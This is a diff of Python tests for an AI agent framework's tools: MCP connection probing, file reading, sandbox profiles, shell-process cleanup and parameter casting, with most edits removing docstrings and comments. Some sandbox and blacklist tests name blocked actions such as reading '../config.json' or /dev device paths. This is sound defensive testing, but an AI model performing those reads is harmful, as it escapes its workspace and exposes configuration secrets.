async def test_workspace_file_still_readable_with_extra_dirs(self, tmp_path):
"""Adding extra_allowed_dirs must not break normal workspace reads."""
workspace = tmp_path / "ws"
workspace.mkdir()
ws_file = workspace / "README.md"
@@ -537,7 +513,6 @@ class TestWorkspaceRestriction:
@pytest.mark.asyncio
async def test_edit_blocked_in_extra_dir(self, tmp_path):
"""edit_file must not be able to modify files in extra_allowed_dirs."""
workspace = tmp_path / "ws"
workspace.mkdir()
skills_dir = tmp_path / "skills"
-15
View File
@@ -1,4 +1,3 @@
"""Tests for MCP HTTP probe guard (prevents event-loop crash on unreachable servers)."""
from __future__ import annotations
import asyncio
@@ -27,13 +26,8 @@ def _clear_proxy_env(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setattr("nanobot.security.network.getproxies", getproxies_environment)
# ---------------------------------------------------------------------------
# _probe_http_url unit tests
# ---------------------------------------------------------------------------
@pytest.mark.asyncio
async def test_probe_returns_true_for_open_port(tmp_path):
"""Start a trivial TCP server, probe should return True."""
async def _close_connection(_reader, writer):
writer.close()
await writer.wait_closed()
@@ -60,7 +54,6 @@ async def test_probe_returns_true_for_open_port(tmp_path):
async def test_probe_returns_false_when_validated_target_refuses_connection(
monkeypatch: pytest.MonkeyPatch, url: str, expected_port: int,
):
"""Connection refusal on a validated address must fail on the selected port."""
attempts: list[tuple[str, int]] = []
monkeypatch.setattr(
@@ -141,17 +134,12 @@ async def test_probe_tries_next_validated_ip_when_first_is_unreachable(monkeypat
]
# ---------------------------------------------------------------------------
# connect_mcp_servers skips unreachable HTTP servers
# ---------------------------------------------------------------------------
def _make_http_cfg(url: str, transport: str = "streamableHttp"):
return MCPServerConfig(type=transport, url=url)
@pytest.mark.asyncio
async def test_connect_skips_unreachable_streamable_http():
"""Unreachable streamableHttp server should be skipped with a warning, no crash."""
async def _unreachable(_url: str, *, proxy: str | None = None) -> bool:
return False
@@ -165,7 +153,6 @@ async def test_connect_skips_unreachable_streamable_http():
@pytest.mark.asyncio
async def test_connect_skips_unreachable_sse():
"""Unreachable SSE server should be skipped with a warning, no crash."""
async def _unreachable(_url: str, *, proxy: str | None = None) -> bool:
return False
@@ -181,7 +168,6 @@ async def test_connect_skips_unreachable_sse():
async def test_connect_isolates_streamable_http_status_failure(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""A reachable endpoint returning HTTP 530 must not poison the event loop."""
async def _reachable(_url: str, *, proxy: str | None = None) -> bool:
return True
@@ -231,7 +217,6 @@ async def test_connect_isolates_streamable_http_status_failure(
@pytest.mark.asyncio
async def test_probe_not_called_for_stdio():
"""stdio transport should not be probed — it spawns a local process."""
called = False
original_probe = _probe_http_url
+1 -6
View File
@@ -1,5 +1,3 @@
"""Shared MCP routing exercised through a real loopback HTTP recording proxy."""
from __future__ import annotations
import asyncio
@@ -49,7 +47,6 @@ class _RecordingMCPProxy:
if request.path == "/.well-known/oauth-authorization-server":
return web.json_response({
"issuer": self.origin,
# Browser navigation is not performed by this fixture or the gateway.
"authorization_endpoint": "https://8.8.8.8/authorize",
"token_endpoint": f"{self.origin}/token",
"registration_endpoint": f"{self.origin}/register",
@@ -182,7 +179,6 @@ async def test_oauth_discovery_tokens_reconnect_and_tool_calls_share_real_proxy(
monkeypatch: pytest.MonkeyPatch,
) -> None:
fixture = recording_mcp_proxy
# Even an ambient proxy or NO_PROXY=* cannot override an explicitly selected route.
monkeypatch.setenv("HTTP_PROXY", "http://127.0.0.1:9")
monkeypatch.setenv("HTTPS_PROXY", "http://127.0.0.1:9")
monkeypatch.setenv("NO_PROXY", "*")
@@ -217,13 +213,12 @@ async def test_oauth_discovery_tokens_reconnect_and_tool_calls_share_real_proxy(
fixture.terminate_next_call = True
assert await tool.execute() == "through-shared-proxy"
assert registry.get("mcp_local_echo") is not tool
assert fixture.initialized == 3 # Browser flow, activation, terminated-session recovery.
assert fixture.initialized == 3
assert fixture.rpc_methods.count("tools/call") == 3
storage = MCPOAuthStorage("local", cfg.url)
snapshot = await storage.get_snapshot()
assert snapshot.tokens is not None
assert snapshot.tokens.access_token == "local-access-token"
# A later runtime loads an expired saved token and must refresh over the same route.
await storage.set_tokens(snapshot.tokens.model_copy(update={"expires_in": -1}))
await provider.aclose()
registry = ToolRegistry()
+2 -37
View File
@@ -665,7 +665,6 @@ async def test_execute_preserves_success_text_that_starts_with_error() -> None:
assert not is_tool_error_result(result)
# Smallest valid 1x1 PNG, base64 without the data: prefix.
_PNG_B64 = (
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8"
"/x8AAwMCAO+/p9sAAAAASUVORK5CYII="
@@ -698,7 +697,6 @@ async def test_execute_persists_image_block_as_artifact(tmp_path: Path) -> None:
assert artifact["prompt"] == "a cat"
assert artifact["provider"] == "mcp:test"
assert Path(artifact["path"]).is_file()
# The base64 payload must NOT leak into the model-facing result.
assert _PNG_B64 not in result
assert "message tool" in payload["next_step"]
@@ -965,7 +963,6 @@ async def test_connect_mcp_servers_enabled_tools_empty_list_registers_none(
async def test_connect_mcp_servers_enabled_tools_empty_list_blocks_resources_and_prompts(
fake_mcp_runtime: dict[str, object | None],
) -> None:
"""enabledTools: [] (deny-all) must also block resource and prompt registration."""
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
tool_names=["demo"],
resource_names=["secret_data"],
@@ -980,7 +977,6 @@ async def test_connect_mcp_servers_enabled_tools_empty_list_blocks_resources_and
await stack.aclose()
assert registry.tool_names == []
# Resources and prompts must also be blocked
assert not any("secret_data" in name for name in registry.tool_names)
assert not any("admin_prompt" in name for name in registry.tool_names)
@@ -989,7 +985,6 @@ async def test_connect_mcp_servers_enabled_tools_empty_list_blocks_resources_and
async def test_connect_mcp_servers_enabled_tools_specific_list_blocks_resources_and_prompts(
fake_mcp_runtime: dict[str, object | None],
) -> None:
"""enabledTools with specific tool names must not leak resources or prompts."""
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
tool_names=["demo", "other"],
resource_names=["secret_data"],
@@ -1003,10 +998,8 @@ async def test_connect_mcp_servers_enabled_tools_specific_list_blocks_resources_
for stack in stacks.values():
await stack.aclose()
# Only the allowed tool should be registered
assert "mcp_test_demo" in registry.tool_names
assert "mcp_test_other" not in registry.tool_names
# Resources and prompts must not leak
assert not any("secret_data" in name for name in registry.tool_names)
assert not any("admin_prompt" in name for name in registry.tool_names)
@@ -1015,7 +1008,6 @@ async def test_connect_mcp_servers_enabled_tools_specific_list_blocks_resources_
async def test_connect_mcp_servers_enabled_tools_wildcard_allows_resources_and_prompts(
fake_mcp_runtime: dict[str, object | None],
) -> None:
"""enabledTools: ['*'] should allow all tools, resources, and prompts."""
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
tool_names=["demo"],
resource_names=["public_data"],
@@ -1666,8 +1658,8 @@ async def test_connect_mcp_servers_rolls_back_completed_batch_on_cancellation(
@pytest.mark.parametrize(
("tool_timeout", "expected_read"),
[
(30, 300.0), # default: match the MCP SDK's SSE read timeout
(600, 600.0), # long-running tools: read must not cut the call short
(30, 300.0),
(600, 600.0),
],
)
async def test_connect_mcp_servers_streamable_http_uses_finite_timeout(
@@ -1913,11 +1905,6 @@ async def test_connect_mcp_servers_passes_stdio_cwd(
assert captured["cwd"] == "/tmp/nanobot-mcp-test"
# ---------------------------------------------------------------------------
# MCPResourceWrapper tests
# ---------------------------------------------------------------------------
def _make_resource_def(
name: str = "myres",
uri: str = "file:///tmp/data.txt",
@@ -1984,11 +1971,6 @@ async def test_resource_wrapper_execute_handles_error() -> None:
assert result == "(MCP resource read failed: RuntimeError)"
# ---------------------------------------------------------------------------
# MCPPromptWrapper tests
# ---------------------------------------------------------------------------
def _make_prompt_def(
name: str = "myprompt",
description: str = "A test prompt",
@@ -2083,11 +2065,6 @@ async def test_prompt_wrapper_execute_handles_error() -> None:
assert result == "(MCP prompt call failed: RuntimeError)"
# ---------------------------------------------------------------------------
# connect_mcp_servers: resources + prompts integration
# ---------------------------------------------------------------------------
def _make_fake_session_with_capabilities(
tool_names: list[str],
resource_names: list[str] | None = None,
@@ -2306,11 +2283,6 @@ async def test_connect_accepts_servers_without_tools_capability(
await stack.aclose()
# ---------------------------------------------------------------------------
# _sanitize_name tests
# ---------------------------------------------------------------------------
def test_sanitize_name_replaces_spaces() -> None:
assert _sanitize_name("PostgreSQL System Information") == "PostgreSQL_System_Information"
@@ -2331,11 +2303,6 @@ def test_sanitize_name_noop_for_already_clean_names() -> None:
assert _sanitize_name("mcp_server_tool") == "mcp_server_tool"
# ---------------------------------------------------------------------------
# Wrapper sanitization tests
# ---------------------------------------------------------------------------
def test_tool_wrapper_sanitizes_name() -> None:
tool_def = SimpleNamespace(
name="My Tool",
@@ -2362,7 +2329,6 @@ def test_prompt_wrapper_sanitizes_name() -> None:
description="Design schema",
arguments=None,
)
# Hyphens are allowed, so this should pass through unchanged
wrapper = MCPPromptWrapper(None, "my server", prompt_def)
assert wrapper.name == "mcp_my_server_prompt_design-schema"
@@ -2374,7 +2340,6 @@ def test_tool_wrapper_preserves_original_name_for_mcp_call() -> None:
inputSchema={"type": "object", "properties": {}},
)
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
# The sanitized API-facing name differs from the original MCP name
assert wrapper.name == "mcp_srv_My_Tool"
assert wrapper._original_name == "My Tool"
-1
View File
@@ -356,7 +356,6 @@ async def test_message_tool_allows_ws_explicit_when_matches_context(tmp_path) ->
@pytest.mark.asyncio
async def test_message_tool_cli_context_may_target_other_ws_chat(tmp_path) -> None:
"""Cron / CLI handlers keep non-websocket defaults; explicit websocket + uuid remains valid."""
sent: list[OutboundMessage] = []
async def _send(msg: OutboundMessage) -> None:
+2 -5
View File
@@ -1,5 +1,3 @@
"""Test message tool suppress logic for final replies."""
import asyncio
from pathlib import Path
from unittest.mock import AsyncMock, MagicMock
@@ -23,7 +21,6 @@ def _make_loop(tmp_path: Path) -> AgentLoop:
class TestMessageToolSuppressLogic:
"""Final reply suppressed only when message tool sends to the same target."""
@pytest.mark.asyncio
@pytest.mark.parametrize("ephemeral", [False, True])
@@ -53,7 +50,7 @@ class TestMessageToolSuppressLogic:
result = await loop._process_message(msg, ephemeral=ephemeral)
assert len(sent) == 1
assert result is None # suppressed
assert result is None
@pytest.mark.asyncio
async def test_not_suppress_when_sent_to_different_target(self, tmp_path: Path) -> None:
@@ -79,7 +76,7 @@ class TestMessageToolSuppressLogic:
assert len(sent) == 1
assert sent[0].channel == "email"
assert result is not None # not suppressed
assert result is not None
assert result.channel == "feishu"
@pytest.mark.asyncio
-2
View File
@@ -1,5 +1,3 @@
"""Synthetic privacy regressions for tool diagnostics, without external requests."""
import asyncio
import sys
from contextlib import asynccontextmanager
-38
View File
@@ -1,5 +1,3 @@
"""Tests for ReadFileTool enhancements: description fix, read dedup, PDF support, device blacklist, office docs."""
import base64
import os
import sys
@@ -24,10 +22,6 @@ def _document_source(text: str) -> DocumentLineSource:
return DocumentLineSource(lines)
# ---------------------------------------------------------------------------
# Description fix
# ---------------------------------------------------------------------------
class TestReadDescriptionFix:
def test_description_mentions_image_support(self):
@@ -35,12 +29,7 @@ class TestReadDescriptionFix:
assert "image" in tool.description.lower()
# ---------------------------------------------------------------------------
# Read deduplication
# ---------------------------------------------------------------------------
class TestReadDedup:
"""Only reads whose original result remains in context may return a stub."""
@pytest.fixture()
def tool(self, tmp_path):
@@ -60,7 +49,6 @@ class TestReadDedup:
with file_state.file_read_context("read-2", lambda: {"read-1": first}):
second = await tool.execute(path=str(f))
assert "unchanged" in second.lower()
# Stub should not contain file content
assert "line 0" not in second
@pytest.mark.asyncio
@@ -69,7 +57,6 @@ class TestReadDedup:
f.write_text("original", encoding="utf-8")
with file_state.file_read_context("read-1", lambda: {}):
first = await tool.execute(path=str(f))
# Modify the file externally
f.write_text("modified content", encoding="utf-8")
with file_state.file_read_context("read-2", lambda: {"read-1": first}):
second = await tool.execute(path=str(f))
@@ -83,7 +70,6 @@ class TestReadDedup:
first = await tool.execute(path=str(f), offset=1, limit=5)
with file_state.file_read_context("read-2", lambda: {"read-1": first}):
second = await tool.execute(path=str(f), offset=6, limit=5)
# Different offset → full read, not stub
assert "line 6" in second
@pytest.mark.asyncio
@@ -147,9 +133,7 @@ class TestReadDedup:
assert result == f"(Empty file: {f})"
# ---------------------------------------------------------------------------
# Cross-session isolation (issue #3571)
# ---------------------------------------------------------------------------
# Each session must keep its own read cache. When session A reads a file,
# session B reading the same file must still receive the full content, not
# the "[File unchanged since last read]" dedup stub. Within each session,
@@ -168,8 +152,6 @@ class TestReadDedupSessionIsolation:
first = await session_a_tool.execute(path=str(f))
assert "line 0" in first
# Session B has never read this file before — it must see the full
# content, not the dedup stub from session A.
second = await session_b_tool.execute(path=str(f))
assert "unchanged" not in second.lower(), (
"Session B should not inherit session A's read-dedup state. "
@@ -210,10 +192,6 @@ class TestReadDedupSessionIsolation:
assert "line 0" in second_session_read
# ---------------------------------------------------------------------------
# PDF support
# ---------------------------------------------------------------------------
class TestReadPdf:
@pytest.fixture()
@@ -336,10 +314,6 @@ class TestReadPdf:
assert "not found" in result
# ---------------------------------------------------------------------------
# Device path blacklist
# ---------------------------------------------------------------------------
@pytest.mark.skipif(sys.platform == "win32", reason="/dev directory doesn't exist on Windows")
class TestReadDeviceBlacklist:
@@ -378,12 +352,6 @@ class TestReadDeviceBlacklist:
assert "blocked" in result.lower() or "device" in result.lower()
# ---------------------------------------------------------------------------
# File changes with preserved mtime
# ---------------------------------------------------------------------------
# An editor can preserve mtime while replacing contents. Deduplication must
# compare the file snapshot even when the original result remains in context.
class TestFileStateHashFallback:
async def test_read_returns_changed_content_when_mtime_same(self, tmp_path):
@@ -404,9 +372,7 @@ class TestFileStateHashFallback:
assert "unchanged" not in second.lower()
# ---------------------------------------------------------------------------
# Line-ending normalization
# ---------------------------------------------------------------------------
# ReadFileTool normalizes CRLF -> LF before line-splitting. This primarily
# helps Windows users whose checkouts carry CRLF line endings and whose
# subsequent StrReplace edits would otherwise miss on `\r` boundaries. The
@@ -436,10 +402,6 @@ class TestReadFileLineEndingNormalization:
assert "alpha" in result and "beta" in result and "gamma" in result
# ---------------------------------------------------------------------------
# Office document support (DOCX, XLSX, PPTX)
# ---------------------------------------------------------------------------
class TestReadOfficeDocuments:
@pytest.fixture()
-2
View File
@@ -1,5 +1,3 @@
"""Registration and exec delegation for ripgrep."""
import asyncio
import os
import re
-7
View File
@@ -1,5 +1,3 @@
"""Tests for nanobot.agent.tools.sandbox."""
import shlex
from pathlib import Path
@@ -136,7 +134,6 @@ class TestBwrapBackend:
assert "/etc/ssl/certs" in try_targets
def test_media_dir_ro_bind(self, tmp_path, monkeypatch):
"""Media directory should be read-only mounted inside the sandbox."""
fake_media = tmp_path / "media"
fake_media.mkdir()
monkeypatch.setattr(
@@ -298,7 +295,6 @@ class TestSeatbeltBackend:
assert parent_deny < workspace_allow
def test_no_parent_deny_when_workspace_is_the_root(self):
"""Denying `/` would override the root read rule and break startup."""
profile = self._profile(wrap_command("seatbelt", "ls", "/", "/"))
assert "(deny file-read*" not in profile
@@ -316,7 +312,6 @@ class TestSeatbeltBackend:
assert f"(literal {self._quote(ws.parent)})" in self._metadata_rule(profile)
def test_config_dir_is_searchable_but_not_listable(self, tmp_path):
"""Metadata only: `cd workspace` works, `ls ..` and `cat ../config.json` do not."""
ws = (tmp_path / "project").resolve()
profile = self._profile(wrap_command("seatbelt", "ls", str(ws), str(ws)))
@@ -456,7 +451,6 @@ class TestSeatbeltBackend:
assert f"(allow file-read* file-write* (subpath {self._quote(cache_dir)}))" in profile
def test_custom_workspace_parent_binds_are_ignored(self, tmp_path):
"""A bind must not uncover the masked config directory."""
ws = tmp_path / "private" / "project"
parent = ws.parent.resolve(strict=False)
@@ -481,7 +475,6 @@ class TestSeatbeltBackend:
assert f'(allow file-read* file-write* (subpath "{escaped}"))' in profile
def test_sbpl_quote_escapes_special_characters(self):
"""Backslashes and double quotes must be escaped with C-style escaping."""
assert _sbpl_quote(r'path\with"quotes') == r'"path\\with\"quotes"'
-3
View File
@@ -1,5 +1,3 @@
"""Tests for grep search tools."""
from __future__ import annotations
import asyncio
@@ -667,7 +665,6 @@ async def test_grep_files_with_matches_supports_head_limit_and_offset(tmp_path:
# 1. Only one file path is returned (head_limit=1 after offset=1)
# 2. The pagination info is correct
assert "pagination: limit=1, offset=1" in result
# Count non-empty lines that start with src/ (file paths)
file_lines = [line for line in result.splitlines() if line.startswith("src/")]
assert len(file_lines) == 1
-3
View File
@@ -1,5 +1,3 @@
"""Spreadsheet grep locators follow cells, including literal tabs in cell values."""
from pathlib import Path
import pytest
@@ -34,6 +32,5 @@ async def test_grep_xlsx_literal_tabs_keep_source_cell(
)
assert f"sheet='Data',row=1,cell={expected_cell}" in result
# Metadata must not escape or otherwise change the original extracted text.
extracted = "\t".join(cell if cell is not None else "" for cell in cells)
assert f"> 2 [sheet='Data',row=1]| {extracted}" in result
-4
View File
@@ -26,7 +26,6 @@ pytestmark = pytest.mark.skipif(
@pytest.fixture
def layout(tmp_path, monkeypatch):
root = tmp_path.resolve()
# A separate host /tmp root must not inherit the workspace-parent deny.
with tempfile.TemporaryDirectory(prefix="nanobot-seatbelt-peer-", dir="/tmp") as peer:
paths = {
"workspace": root / 'project with "quotes',
@@ -56,13 +55,10 @@ async def run_script(paths, script):
working_dir=str(workspace), sandbox="seatbelt",
sandbox_ro_binds=[str(paths["ro"])], sandbox_rw_binds=[str(paths["rw"])],
)
# Scripts are legitimate exec input; the kernel must enforce their effects.
return str(await tool.execute(command="sh probe.sh", timeout=5))
def completed(result):
# Keep output and exit-status assertions exact while checking the current
# exec metadata envelope, including its variable wall-clock duration.
match = re.fullmatch(r"(?:(.*)\n)?Exit code: (-?\d+)\nElapsed: \d+\.\ds", result, re.DOTALL)
assert match, result
return match.group(1) or "", int(match.group(2))
+3 -6
View File
@@ -74,7 +74,7 @@ def _pid_running(pid: int) -> bool:
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
kernel32.WaitForSingleObject.restype = wintypes.DWORD
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
handle = kernel32.OpenProcess(0x00100000, False, pid) # SYNCHRONIZE
handle = kernel32.OpenProcess(0x00100000, False, pid)
if not handle:
error = ctypes.get_last_error()
assert error == 87, f"OpenProcess({pid}) failed: {error}"
@@ -82,7 +82,7 @@ def _pid_running(pid: int) -> bool:
try:
status = kernel32.WaitForSingleObject(handle, 0)
assert status in (0, 258), f"WaitForSingleObject({pid}) failed: {status}"
return status == 258 # WAIT_TIMEOUT
return status == 258
finally:
kernel32.CloseHandle(handle)
@@ -302,7 +302,6 @@ async def test_partial_stdout_and_stderr_bytes_refresh_idle_without_log_reads(tm
info, = await manager.list()
assert info.session_id == sid
assert info.returncode is None
# This anchor stays fixed between bytes, even if observation is delayed.
output_at = info.elapsed_s - info.idle_s
if output_at > after:
return output_at
@@ -349,7 +348,6 @@ async def test_idle_termination_stops_owned_tree_without_tool_activity(tmp_path)
assert _pid_running(parent_pid)
assert _pid_running(child_pid)
# Observe OS process exit before making another tool or manager call.
await _pid_stopped(parent_pid)
await _pid_stopped(child_pid, timeout=3)
final = await session_tool.execute(session_id=sid, until_exit=True, timeout_ms=3000)
@@ -451,7 +449,6 @@ async def test_execution_stop_stops_pipe_inheriting_child_after_root_exits(
async def spawn_with_exit_order(*args, **kwargs):
process = await real_spawn(*args, **kwargs)
if early_root_exit:
# Root exit may precede spawn return; inherited pipes must remain intact.
async with asyncio.timeout(5):
while process.returncode is None:
await asyncio.sleep(0.005)
@@ -499,7 +496,7 @@ async def test_execution_stop_stops_pipe_inheriting_child_after_root_exits(
assert not is_tool_error_result(final), final
assert "Session terminated. Reason: owner_closed." in final
assert "worker launched" in final
assert _exit_code(final) == 0 # Only the root exited successfully.
assert _exit_code(final) == 0
assert not delayed_effect.exists()
assert await manager.list(owner_session_key=owner.session_key) == []
finally:
-2
View File
@@ -1,5 +1,3 @@
"""Plain-text output through shell tools and streaming filters."""
from __future__ import annotations
import re
-9
View File
@@ -1,5 +1,3 @@
"""Tests for subprocess zombie reaping in ExecTool / exec sessions."""
from __future__ import annotations
import asyncio
@@ -67,7 +65,6 @@ async def _cleanup_session(session: _ExecSession) -> None:
def test_reap_pid_noops_without_waitpid():
"""On platforms (or test stubs) without waitpid, reaping is a no-op."""
with patch("nanobot.agent.tools.shell.os") as mock_os:
mock_os.waitpid = None
mock_os.WNOHANG = None
@@ -94,7 +91,6 @@ def test_reap_pid_swallows_already_reaped_errors():
@pytest.mark.asyncio
async def test_kill_process_skips_kill_when_already_exited():
"""Already-dead processes must not raise ProcessLookupError from kill()."""
process = _MockProcess(pid=4242, returncode=0)
process.kill = MagicMock(side_effect=ProcessLookupError("already dead"))
@@ -121,7 +117,6 @@ async def test_kill_process_kills_and_reaps_live_process():
@pytest.mark.asyncio
async def test_kill_process_reaps_even_if_kill_races_exit():
"""If the child exits between returncode check and kill(), still reap."""
process = _MockProcess(pid=88, returncode=None)
def raced_exit() -> None:
@@ -278,7 +273,6 @@ async def test_exec_session_wait_cancellation_does_not_kill_process_tree():
@pytest.mark.asyncio
async def test_execute_exception_after_success_does_not_raise_on_dead_process():
"""Formatting a completed result must not attempt to kill the dead process."""
process = _MockProcess(pid=1003, returncode=0, stdout=b"out\n")
process.kill.side_effect = ProcessLookupError("already dead")
manager = ExecSessionManager()
@@ -370,7 +364,6 @@ async def test_kill_process_tree_targets_group_after_root_exits():
@pytest.mark.skipif(sys.platform == "win32", reason="requires Unix process groups")
@pytest.mark.asyncio
async def test_execute_timeout_kills_background_process_tree(tmp_path):
"""A one-shot timeout must stop background descendants before they write."""
marker = tmp_path / "child-survived"
command = f"(sleep 2; touch {shlex.quote(str(marker))}) >/dev/null 2>&1 & sleep 30"
@@ -387,7 +380,6 @@ async def test_execute_timeout_kills_background_process_tree(tmp_path):
@pytest.mark.asyncio
async def test_kill_process_tree_kills_descendant_after_root_exits(tmp_path):
"""Tree ownership must outlive a root shell that has demonstrably exited."""
marker = tmp_path / "child-survived-root"
started = tmp_path / "child-started"
release = tmp_path / "release-child"
@@ -554,7 +546,6 @@ async def test_exec_session_poll_reaps_after_exit():
@pytest.mark.skipif(sys.platform == "win32", reason="zombie reaping is a Unix waitpid concern")
@pytest.mark.asyncio
async def test_real_timeout_leaves_no_zombie(tmp_path):
"""Integration: timed-out sleep should not leave a defunct child of this process."""
import os
tool = ExecTool(working_dir=str(tmp_path), timeout=1)
-24
View File
@@ -1,4 +1,3 @@
"""Tests for tool plugin architecture: ToolLoader, ToolContext, metadata."""
from __future__ import annotations
import shutil
@@ -51,9 +50,6 @@ def test_tool_plugin_discoverable_default_is_true():
assert _MinimalTool._plugin_discoverable is True
# --- ToolContext tests ---
def test_tool_context_has_required_fields():
field_names = {f.name for f in fields(ToolContext)}
required = {
@@ -77,9 +73,6 @@ def test_tool_context_defaults():
assert ctx.timezone == "UTC"
# --- ToolLoader tests ---
def test_skip_modules_excludes_infrastructure():
infra = {"base", "schema", "registry", "context", "loader", "config",
"file_state", "sandbox", "mcp", "__init__"}
@@ -118,7 +111,6 @@ def test_discover_skips_private_classes():
def test_loader_registers_exec_with_real_tools_config(tmp_path):
"""Real config objects catch bad ctx.config attribute paths that mocks hide."""
from types import SimpleNamespace
from nanobot.agent.tools.registry import ToolRegistry
@@ -192,9 +184,6 @@ def test_loader_preserves_caller_supplied_tool(tmp_path):
assert "read_file" not in registered
# --- Task 4: _FsTool.create() ---
def test_fs_tool_create_builds_from_context():
from nanobot.agent.tools.filesystem import ReadFileTool
mock_config = MagicMock()
@@ -226,9 +215,6 @@ def test_fs_tool_create_respects_sandbox():
assert tool._allowed_dir == Path("/tmp/test")
# --- Message, subagent, and cron tool factories ---
async def test_message_tool_create():
from nanobot.agent.tools.message import MessageTool
mock_bus = MagicMock()
@@ -274,9 +260,6 @@ def test_cron_tool_create():
assert isinstance(tool, CronTool)
# --- Task 6: ExecTool, WebTools, ImageGenerationTool ---
def test_exec_tool_config_cls():
from nanobot.agent.tools.shell import ExecTool, ExecToolConfig
assert ExecTool.config_cls() is ExecToolConfig
@@ -387,9 +370,6 @@ def test_image_gen_tool_create():
assert tool.provider_configs["openrouter"].api_key == "image-key"
# --- Task 7: MyToolConfig + MCP wrappers ---
def test_my_tool_config_cls():
from nanobot.agent.tools.self import MyTool, MyToolConfig
assert MyTool.config_key == "my"
@@ -427,11 +407,7 @@ def test_mcp_wrappers_not_discoverable():
assert MCPPromptWrapper._plugin_discoverable is False
# --- Task 10: Integration test ---
def test_loader_registers_builtin_tools():
"""Verify the loader produces the same tool set as the old _register_default_tools."""
from nanobot.agent.tools.loader import ToolLoader
from nanobot.agent.tools.registry import ToolRegistry
from nanobot.agent.tools.shell import ExecToolConfig
+3 -42
View File
@@ -81,7 +81,6 @@ class DecoratedSampleTool(Tool):
def test_schema_validate_value_matches_tool_validate_params() -> None:
"""ObjectSchema.validate_value 与 validate_json_schema_value、Tool.validate_params 一致。"""
root = tool_parameters_schema(
query=StringSchema(min_length=2),
count=IntegerSchema(minimum=1, maximum=10),
@@ -117,7 +116,6 @@ def test_schema_validate_value_matches_tool_validate_params() -> None:
def test_schema_classes_equivalent_to_sample_tool_parameters() -> None:
"""Schema 类生成的 JSON Schema 应与手写 dict 一致,便于校验行为一致。"""
built = tool_parameters_schema(
query=StringSchema(min_length=2),
count=IntegerSchema(minimum=1, maximum=10),
@@ -291,7 +289,6 @@ def test_exec_extract_absolute_paths_keeps_full_windows_path() -> None:
def test_exec_extract_absolute_paths_captures_windows_drive_root_path() -> None:
"""Windows drive root paths like `E:\\` must be extracted for workspace guarding."""
# Note: raw strings cannot end with a single backslash.
cmd = "dir E:\\"
paths = ExecTool._extract_absolute_paths(cmd)
@@ -599,9 +596,6 @@ def test_exec_extract_absolute_paths_ignores_pipe_tilde() -> None:
assert not any(p.startswith("~") for p in paths)
# --- cast_params tests ---
class CastTestTool(Tool):
"""Minimal tool for testing cast_params."""
@@ -782,7 +776,6 @@ def test_nullable_integer_retains_safe_casts(value, expected) -> None:
def test_cast_params_bool_not_cast_to_int() -> None:
"""Booleans should not be silently cast to integers."""
tool = CastTestTool(
{
"type": "object",
@@ -796,7 +789,6 @@ def test_cast_params_bool_not_cast_to_int() -> None:
def test_cast_params_preserves_empty_string() -> None:
"""Empty strings should be preserved for string type."""
tool = CastTestTool(
{
"type": "object",
@@ -808,7 +800,6 @@ def test_cast_params_preserves_empty_string() -> None:
def test_cast_params_bool_string_false() -> None:
"""Test that 'false', '0', 'no' strings convert to False."""
tool = CastTestTool(
{
"type": "object",
@@ -823,14 +814,12 @@ def test_cast_params_bool_string_false() -> None:
def test_cast_params_bool_string_invalid() -> None:
"""Invalid boolean strings should not be cast."""
tool = CastTestTool(
{
"type": "object",
"properties": {"flag": {"type": "boolean"}},
}
)
# Invalid strings should be preserved (validation will catch them)
result = tool.cast_params({"flag": "random"})
assert result["flag"] == "random"
result = tool.cast_params({"flag": "maybe"})
@@ -838,7 +827,6 @@ def test_cast_params_bool_string_invalid() -> None:
def test_cast_params_invalid_string_to_int() -> None:
"""Invalid strings should not be cast to integer."""
tool = CastTestTool(
{
"type": "object",
@@ -846,13 +834,12 @@ def test_cast_params_invalid_string_to_int() -> None:
}
)
result = tool.cast_params({"count": "abc"})
assert result["count"] == "abc" # Original value preserved
assert result["count"] == "abc"
result = tool.cast_params({"count": "12.5.7"})
assert result["count"] == "12.5.7"
def test_cast_params_invalid_string_to_number() -> None:
"""Invalid strings should not be cast to number."""
tool = CastTestTool(
{
"type": "object",
@@ -868,7 +855,6 @@ def test_cast_params_invalid_string_to_number() -> None:
[float("nan"), float("inf"), float("-inf"), "NaN", "Infinity", "-Infinity"],
)
def test_cast_params_rejects_non_finite_numbers(value: float | str) -> None:
"""JSON number parameters must remain finite after schema-driven casting."""
tool = CastTestTool(
{
"type": "object",
@@ -882,7 +868,6 @@ def test_cast_params_rejects_non_finite_numbers(value: float | str) -> None:
def test_validate_params_bool_not_accepted_as_number() -> None:
"""Booleans should not pass number validation."""
tool = CastTestTool(
{
"type": "object",
@@ -894,7 +879,6 @@ def test_validate_params_bool_not_accepted_as_number() -> None:
def test_cast_params_none_values() -> None:
"""Test None handling for different types."""
tool = CastTestTool(
{
"type": "object",
@@ -914,7 +898,6 @@ def test_cast_params_none_values() -> None:
"config": None,
}
)
# None should be preserved for all types
assert result["name"] is None
assert result["count"] is None
assert result["items"] is None
@@ -922,25 +905,19 @@ def test_cast_params_none_values() -> None:
def test_cast_params_single_value_not_auto_wrapped_to_array() -> None:
"""Single values should NOT be automatically wrapped into arrays."""
tool = CastTestTool(
{
"type": "object",
"properties": {"items": {"type": "array"}},
}
)
# Non-array values should be preserved (validation will catch them)
result = tool.cast_params({"items": 5})
assert result["items"] == 5 # Not wrapped to [5]
assert result["items"] == 5
result = tool.cast_params({"items": "text"})
assert result["items"] == "text" # Not wrapped to ["text"]
# --- ExecTool enhancement tests ---
assert result["items"] == "text"
async def test_completed_exec_returns_exit_code() -> None:
"""Completed output includes the exit code even on success (exit 0)."""
tool = ExecTool()
result = await tool.execute(command="echo hello", yield_time_ms=10000)
assert "Exit code: 0" in result
@@ -948,7 +925,6 @@ async def test_completed_exec_returns_exit_code() -> None:
async def test_exec_head_tail_truncation(tmp_path) -> None:
"""Long output should preserve both head and tail."""
tool = ExecTool()
# Generate output that exceeds _MAX_OUTPUT (10_000 chars).
# Use a temp script file so the output-generating logic lives in a file
@@ -966,15 +942,12 @@ async def test_exec_head_tail_truncation(tmp_path) -> None:
command = f"{shlex.quote(sys.executable)} {shlex.quote(str(script_file))}"
